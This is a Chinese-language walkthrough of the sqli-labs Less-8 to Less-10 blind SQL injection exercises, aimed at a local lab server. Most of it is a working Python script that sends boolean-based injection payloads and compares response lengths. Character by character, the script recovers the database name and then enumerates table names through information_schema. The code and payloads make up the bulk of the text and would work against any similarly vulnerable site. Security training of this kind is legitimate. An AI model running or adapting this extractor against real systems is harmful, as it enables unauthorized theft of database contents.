sqli-labs从Less8到Less10是盲注练习：
大家在看lcarmy做练习Less5时应该发现他手动输入了含有payload的url。的确，出于演示目的，显得条理很清晰；但是，这样做的重复工作量实在太大了，做完这样的练习至少需要不厌其烦的耐心！我觉得，做这类练习的人，或多或少写过代码，所以肯定会想到用脚本之类的工具代替重复工作。在此，提供一份脚本，实现以上目的。
首先要区分web对正确与错误的url请求返回的响应，然后确定对应的url参数。通过前面的练习，我们知道让sqli-labs返回正确的url参数如下：
http://192.168.80.136/Less-8/?id=1然后，在python脚本中以这个url请求的响应的长度为基准：
success_url = "http://192.168.80.136/Less-8/?id=1"
success_response_len = len(requests.get(success_url).text)bool-base注入需要先确定数据库名的长度，很多资料上建议使用2分法猜测数据库长度，但为了降低编写脚本的难度，我并没有使用2分法，而是简单的每次使长度加1，然后进行比较。下面是获得后台数据库名字长度的函数：
def get_DBName_len():
print("Start to get DBName_len...")
DBName_len = 0
url_template = success_url + "' and (length(database())={0}) %2D%2D%20"
for i in range(0, MAX_DBName_len):
url = url_template.format(i)
response = requests.get(url)
if len(response.text) == success_response_len:
DBName_len = i;
print("DBName_len is: ", DBName_len)
break;
if DBName_len == 0:
if i == MAX_DBName_len - 1:
print("DBName_len > MAX_DBName_len!")
print("Cannot get DB_len. Program ended.")
exit()
return DBName_len最终获得的长度为8，如下图：
你可能会疑惑：我需要的是数据库的名字，而不是数据库名字的长度。别急，听我把原因以流程图的形式缓缓道出。
大家看到了，数据库名字长度是用于结束迭代的条件。上面的流程图中提到要使用字符串模板，这是我用到的字符串模板
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_!@#$%^&*()'好，结合这些的信息，来看下获取数据库名字的脚本：
def get_DBName(DBName_len):
print("Start to retrieve database name...")
DBName = ""
url_template = success_url + "' and ascii(substr(database(),{0},1))={1}%23"
for i in range(1, DBName_len + 1):
tempDBName = DBName
for char in chars:
char_ascii = ord(char)
url = url_template.format(i, char_ascii)
response = requests.get(url)
if len(response.text) == success_response_len:
DBName += char
break
if tempDBName == DBName:
print("Letters too little! Program ended.")
exit()
print("Retrieve completed! DBName is: " + DBName)
return DBName嗯，函数成功的把sqli-labs后台用到的数据库名显示出来了：
获取表名的函数原理和获得数据库名的原理类似，先获得数据库中表的数量，然后用limit语句遍历获得所有表的表名长度，最后获得表名。
def get_TableNumOfDB(DBName):
print("Start to get TableNumOfDB...")
TableNumOfDB = 0
url_template = success_url + "' and (select count(table_name)a from information_schema.tables where table_schema = database() having a={0})%23"
for i in range(0, MAX_Table_Num):
url = url_template.format(i)
response = requests.get(url)
if len(response.text) == success_response_len:
TableNumOfDB = i;
print("the number of table is:" , TableNumOfDB)
break
if TableNumOfDB == 0:
if i == TableNumOfDB - 1:
print("table number of database > MAX_TableName_len!")
return TableNumOfDB
def get_TableName_len(Table_num):
print("Start to get TableName_len...")
TableName_len = 0
url_template = success_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23"
for i in range(0, MAX_TableName_len):
url = url_template.format(Table_num - 1, i)
response = requests.get(url)
if len(response.text) == success_response_len:
TableName_len = i
break
if TableName_len == 0:
if i == MAX_TableName_len - 1:
print("TableName_len > MAX_TableName_len!")
return TableName_len
def get_TableName(Table_num, TableName_len):
print("Start to get TableName...")
TableName = ""
url_template = success_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2}%23"
for i in range(1, TableName_len + 1):
tempTableName = TableName
for char in chars:
char_ascii = ord(char)
url = url_template.format(Table_num - 1, i, char_ascii)
response = requests.get(url)
if len(response.text) == success_response_len:
TableName += char
break
if tempTableName == TableName:
print("Letters too little! Program ended.")
exit()
print("Retrieve completed! TableName is: " + TableName)
return TableName